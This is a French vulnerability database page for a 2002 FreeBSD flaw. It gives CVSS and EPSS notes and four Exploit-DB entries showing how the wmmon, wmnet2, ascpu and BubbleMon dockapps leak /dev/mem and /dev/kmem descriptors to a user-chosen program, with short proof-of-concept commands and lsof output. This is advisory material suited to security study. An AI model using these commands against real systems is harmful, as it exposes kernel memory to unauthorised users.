Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 21798
Date de publication : 2002-09-15 22h00 +00:00
Auteur : badc0ded
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5718/info
It has been reported that wmmon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmmon. The program that is executed can be specified by the attacker at the command line.
bash-2.05a$ cat .wmmonrc
left "/home/dim/dummy"
bash-2.05a$ wmmon &
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1
bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem
Exploit Database EDB-ID : 21799
Date de publication : 2002-09-15 22h00 +00:00
Auteur : badc0ded
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5719/info
It has been reported that wmnet2 is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmnet2. The program that is executed can be specified by the attacker at the command line.
bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem
Exploit Database EDB-ID : 21797
Date de publication : 2002-09-15 22h00 +00:00
Auteur : badc0ded
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5716/info
It has been reported that ascpu is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through ascpu. The program that is executed can be specified by the attacker at the command line.
ascpu -exe "dummy&/usr/local/sbin/lsof|grep dummy|grep mem"
Exploit Database EDB-ID : 21796
Date de publication : 2002-09-15 22h00 +00:00
Auteur : badc0ded
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5714/info
It has been reported that BubbleMon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through BubbleMon. The program that is executed can be specified by the attacker at the command line.
bubblemon "dummy&/usr/local/sbin/lsof|grep dummy|grep mem"
Products Mentioned
Configuraton 0
Freebsd>>Freebsd >> Version 4.2
Freebsd>>Freebsd >> Version 4.3
Freebsd>>Freebsd >> Version 4.4
Freebsd>>Freebsd >> Version 4.5
Freebsd>>Freebsd >> Version 4.6
Références